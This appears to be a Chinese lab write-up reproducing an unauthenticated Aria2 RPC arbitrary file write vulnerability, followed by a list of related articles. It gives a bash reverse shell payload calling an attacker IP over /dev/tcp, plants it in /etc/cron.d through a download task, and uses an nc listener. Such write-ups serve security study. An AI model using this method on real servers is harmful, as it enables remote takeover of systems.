目录:

  1. 简介
  2. 漏洞描述
  3. payload
  4. 漏洞复现

一、Aria2介绍

  Aria2是一个命令行下运行,多协议,多来源下载工具(HTTP / HTTPS,FTP,BitTorrent,Metalink),内建XML-RPC用户界面。Aria提供RPC服务器,通过--enable-rpc参数启动.Aria2的RPC服务器可以方便的添加,删除下载项目。

二、漏洞描述

  通过控制文件下载链接,文件储存路径以及文件名,可以实现任意文件写入。同时通过Aria2提供的其他功能,诸如save-session等也能轻易地实现任意文件写入指定功能。

三、payload

  shell脚本:

#! /bin/bash
/bin/bash -i >& /dev/tcp/192.168.183.129/12345 0>&1

  站点;http://binux.github.io/yaaw/demo/#

四、复现

  靶机ip:192.168.183.134:6800

  攻击机:192.168.183.129

  直接访问aria2如下:

  1.rpc通信需要json或xml,直接从网页操作不方便,我们使用第三方UI与目标进行通信,打开 http://binux.github.io/yaaw/demo/# 点击configuration,设置  json-rpc路径(原理具体解释参照:https://paper.seebug.org/120/,有时间继续补充)

    2.设置下载任务,填写shell的url,及受害主机shell文件的存储路径

  

   3.确定添加后,可以到容器下查看,文件确实已下载到定时目录下,在被反弹shell的攻击机下监听端口 nc -lvvp port

   这里我遇到一些问题,cron.d下的shell文件没有执行,那么我们检查一下,是否是脚本有问题导致的,还是定时任务的一些问题,如两台主机时间不同步等。。

  分析过程:

  1.shell脚本是否能执行;直接运行shell命令,或者为其添加可执行权限后再执行,检查kali监听状态,发现可以监听到,脚本OK

  2.检查定时任务。。。这个确实是环境不允许,靶场docker镜像不完整,crontab -l 检查,没有定时任务在执行;检查定时任务服务开启,没有问题,检查日志,该环境没有日志,且进行下一步检查时,缺少crontab的其他环境,无法继续,可以推断这个问题,就是因为环境的不完整导致的。

  3.但是,在靶机环境中/etc/cron.d中,确实下载了shell文件,可以证明aria2这个漏洞确实是存在的。在更完整的生产环境中,应该是可以正常拿shell的。

  

综上,这个任意文件写入漏洞是由于服务端没有对写入做一个身份验证。

Aria2任意文件写入漏洞的更多相关文章

  1. ActiveMQ任意文件写入漏洞(版本在5.12.X前CVE-2016-3088)

    ActiveMQ任意文件写入漏洞(版本在5.12.X前CVE-2016-3088) 查看docker的activemq版本命令:$ docker ps | grep activemq927860512 ...

  2. 致远A8任意文件写入漏洞_getshell_exp

    近期爆出致远 OA 系统的一些版本存在任意文件写入漏洞,远程攻击者在无需登录的情况下可通过向 URL /seeyon/htmlofficeservlet POST 精心构造的数据即可向目标服务器写入任 ...

  3. Apache ActiveMQ任意文件写入漏洞(CVE-2016-3088)复现

    Apache ActiveMQ任意文件写入漏洞(CVE-2016-3088)复现 一.漏洞描述 该漏洞出现在fileserver应用中,漏洞原理:ActiveMQ中的fileserver服务允许用户通 ...

  4. ActiveMQ任意文件写入漏洞(CVE-2016-3088)

    上传webshell 容器用vulhub的 PUT一个jsp文件 MOVE到api目录 默认的ActiveMQ账号密码均为admin,首先访问http://your-ip:8161/admin/tes ...

  5. 漏洞复现-ActiveMq任意文件写入漏洞(CVE-2016-3088)

          0x00 实验环境 攻击机:Win 10 靶机也可作为攻击机:Ubuntu18 (docker搭建的vulhub靶场) 0x01 影响版本 未禁用PUT.MOVE等高危方法的ActiveM ...

  6. 74CMS 3.0任意文件写入漏洞

    一. 启动环境 1.双击运行桌面phpstudy.exe软件 2.点击启动按钮,启动服务器环境 二.代码审计 1.双击启动桌面Seay源代码审计系统软件 2.因为74CMS3.0源代码编辑使用GBK编 ...

  7. Aria2 任意文件写入

    访问aria2,发现服务已启动并且返回404页面 打开http://binux.github.io/yaaw/demo/#打开yaaw,点击配置按钮,填入运行aria2的目标域名:http://you ...

  8. ActiveMQ反序列化(CVE-2015-5254) && ActiveMQ任意文件写入 (CVE-2016-3088)

    ActiveMQ 反序列化漏洞(CVE-2015-5254) 漏洞详情 ActiveMQ启动后,将监听61616和8161两个端口,其中消息在61616这个端口进行传递,使用ActiveMQ这个中间件 ...

  9. JeeCMS v7 SSRF导致任意文件写入

    前言: 学习大佬的思路. from先知社区:https://xz.aliyun.com/t/4809 00X1: 是/ueditor/getRemoteImage.jspx 接口 通过构造upfile ...

随机推荐

  1. mysql打开general log的办法

    mysql打开general log的办法   mysql打开general log之后,所有的查询语句都可以在general log 文件中以可读的方式得到,但是这样general log文件会非常 ...

  2. Linux - 文件的三种时间之atime、ctime、mtime的区别和简单用法

    在Linux中,文件或者目录中有三个时间属性 atime ctime mtime 简名 全名 中文 作用 atime Access Time 访问时间 最后一次访问文件(读取或执行)的时间 ctime ...

  3. 学霸双胞胎开源斯坦福CS 221人工智能备忘录,图文并茂看懂反射、状态、变量、逻辑...

    一份斯坦福CS 221人工智能备忘录最近登上了GitHub Trending. 这份备忘录解释了课程中的许多名词.公式和原理,动图.文字.表格并茂,作者之一还是官方助教,堪称CS 221最佳学习笔记. ...

  4. 让vscode支持WePY框架 *.wpy

    WePY框架的.wpy 文件在微信开发者工具中无法打开,这里使用vscode 打开,并安装vetur 和vetur-wepy  插件即可

  5. Python库的安装方式

    Python库的安装方式 1.Python库的自定义安装——找到相应网站,下载安装 示例:pywin32库安装 .exe,直接双击,自动识别安装目录 安装就可以了. 载入成功 2.Python库的工具 ...

  6. API参数如何验证?别纠结,拿去用就是

    今天我们主要分享项目实战中,另一种常用的参数校验框架 Hibernate Validator,请准备好小板凳,我们的分享开始. 1. 是啥? 先抛一张图,锻炼一下你的观察力. 通过上图有没有发现,数据 ...

  7. JDBC下Date类型转换问题

    一.前言 在学过MVC后,其中的DAO层是负责与数据库进行进行数据交互,而service层个servlet层需要数据时,不允许直接向数据库要,而是通过Dao层来获取相关数据.这个时候,就引出一个规定& ...

  8. Light of future-冲刺Day 5

    目录 1.SCRUM部分: 每个成员进度 SCRUM 会议的照片 签入记录 代码运行截图 用户浏览界面 订单详情界面 管理员浏览界面 新增后台界面 2.PM 报告: 时间表 燃尽图 任务总量变化曲线 ...

  9. Redis 练习(一)

    来自<Redis 实战>第一章 对于 Redis 数据结构类型及使用不太清楚的可以参考 此链接 需求: 网站需要根据文章的发布时间和文章获得的投票数量计算出一个评分,然后按照这个评分来决定 ...

  10. MyBatis(十):Mybatis缓存的重要内容

    本文是按照狂神说的教学视频学习的笔记,强力推荐,教学深入浅出一遍就懂!b站搜索狂神说或点击下面链接 https://space.bilibili.com/95256449?spm_id_from=33 ...